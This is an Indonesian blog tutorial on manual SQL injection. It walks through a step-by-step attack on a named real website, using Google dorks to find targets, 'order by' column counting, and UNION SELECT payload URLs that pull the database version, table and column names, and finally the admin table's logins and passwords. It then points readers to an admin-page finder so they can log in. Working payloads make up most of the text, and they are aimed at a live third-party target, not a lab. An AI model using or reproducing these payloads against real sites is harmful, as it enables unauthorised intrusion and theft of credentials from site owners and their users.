SQL INJECTION

Sql Injection adalah salah satu teknik hacking suatu website yang memanfaatkan bug Sql pada link dinamis, pada url tersebut attacker dapat memasukkan perintah Sql ke dalam statement Sql via input website. Banyak cara untuk melakukan Sql Injection seperti dengan tools SqlMap, Havij dll, tetapi pada tutorial kali ini saya akan menjelaskan tentang cara Sql Injection secara manual melalui addressbar.

Berikut Langkah-Langkahnya :

1. Siapkan target terlebih dahulu, ( Website yang vulnerable terhadap Sql injection ). Cara mencari nya kita dapat menggunakan Google Dork, untuk melihat google dork terbaru bisa lihat DISINI
untuk definisi Google Dork dan list Google dork terbaru bisa lihat DISINI.

2. Setelah kita dapat targetnya , sekarang kita akan mulai periksa, apakah website tersebut vulnerable terhadap Sql injection, pada kali ini saya akan mengambil contoh dari website berikut :

http://www.firstgulf.com/search-details.php?id=59




3. Tambahkan Quote pada akhir URL. Contoh :

http://www.firstgulf.com/search-details.php?id=59'



4. Terlihat di atas bahwa terjadi Error Pada Sintax Sql website, hal tersebut menunjukkan website vulnerable terhadap Sql Injection. Setelah itu ganti Quote dengan order by <angka>-- untuk melihat berapa table yang di miliki oleh website.


contoh : 
http://www.firstgulf.com/search-details.php?id=59 order by 20--  , kita akan mengetahui jumlah table website apabila dalam permintaan jumlah table tidak terjadi error.

seperti contoh sebelumnya yaitu 
http://www.firstgulf.com/search-details.php?id=59 order by 20-- . dalam website target ternyata error, maka lanjutkan ke angka yang lebih bawah.
order by 15-- ( Terjadi Error )
order by 13-- ( Terjadi Error )
order by 11-- ( Tidak Terjadi Error ) #Karna pada angka 11 tidak terjadi Error maka lanjutkan ke angka yang lebih besar selanjutnya yaitu 12.

order by 12-- ( Terjadi Error ) # ternyata pada angka 12 terjadi error, maka bisa di pastikan bahwa website target memiliki jumlah table sebanyak 11.

Contoh Error Order Table :



Hosting Unlimited Indonesia


Contoh Order Table Tanpa Error :





5. Setelah di ketahui bahwa jumlah table ada 11, selanjutnya kita mencari angka akan menunjukkan isi databasenya nanti.tambahkan tanda"-" di awal angka 59, dan deretan angka 1 sampai 11 di akhirnya.

http://www.firstgulf.com/search-details.php?id=-59 union all select 
1,2,3,4,5,6,7,8,9,10,11--

6. Dapat di lihat pada gambar di atas, Ketika semua angka di pilih pada perintah Sql = Union All select. pada halaman website target muncul segelintir angka yang posisinya tidak menentu, pada contoh kali ini terlihat angka 2, 3 dan 5. Karna angka 3 yang paling terlihat jelas, jadi kita akan menggunakan angka 3.

7. selanjutnya kita akan melihat versi dari Database Mysql Website target. 
ganti angka tiga pada Url sebelumnya, dengan "version()" tanpa tanda kutip.


contoh : http://www.firstgulf.com/search-details.php?id=-59 union all select 1,2,version(),4,5,6,7,8,9,10,11--

ternyata setelah di lakukan perintah di atas, angka tiga berganti dengan versi dari database mysql target. dapat terlihat versi nya adalah 5.5.32 .
sebenernya ada versi 4.x.x , tapi pada versi tersebut cara ini tidaka akan berhasil karna untuk database versi 4.x.x , kita akan di hadapkan pada cara Blind Sql.




8.  Selanjutnya kita akan melihat isi daftar table yang ada pada website target .
tambah kan pada url sebelumya.


http://www.firstgulf.com/search-details.php?id=-59 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11from information_schema.tables where table_schema=database()--


9. Terlihat sudah daftar nama semua table website target. kita cari nama table yang hampir mirip atau memang tempat penyimpanan user dan password login website. pada contoh di sini, terlihat ada table yang bernama "admin", kita akan pilih itu untuk di lihat kolomnya. sebelum eksekusi ke pembedahan table "admin", kita harus merubah kata "admin" kedalam bentuk hexadesima, untuk melakukannya silahkan kunjungi DISINI.


 Ganti beberapa kata dalam url tadi :

http://www.firstgulf.com/search-details.php?id=-59 union all select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11from information_schema.columns where table_name=0x61646d696e--

NB : kata database() di ganti dengan nama table "admin" yang sudah di jadikan hexadesimal, ditambah 0x di depannya jadi = 0x61646d696e .

10. Setelah langkah di atas selesai dan berhasil, kita akan melihat isi dari table "admin" yaitu beberapa kolom. berikut nama-nama kolom pada table "admin".

# id
# admin_name
# admin_login
# admin_password



11.  Setelah di dapati  semua nama kolom, sekarang waktunya untuk melihat isi dari kolom tersebut. 

ketik : 


http://www.firstgulf.com/search-details.php?id=-59 union all select 1,2,group_concat(id, 0x3a,admin_name,0x3a,admin_login,0x3a,admin_password,0x0d0a),4,5,6,7,8,9,10,11 from admin--

NB : 
0x3a adalah bentuk Hexadesimal dari ":" (colon)
0x0d0a adalah bentuk Hexadesimal dari <enter>


12. akhirnya sudah terlihat isi dari kolom "admin" , di situ sudah terpampang 
 id:admin_name:admin_login:admin_password

13. Untuk pengembangan selanjutnya anda bisa melakukan login ke halaman admin atau hanya melakukan pentesting terhadap database.
apabila ingin melanjutkan login, silahkan cari halaman login dengan tools, adminfinder.py download DISINI.

berikut ScreenShot nya :


Tidak ada komentar:

Posting Komentar

sniver ymy

https://safelinku.com/ref/yusepymy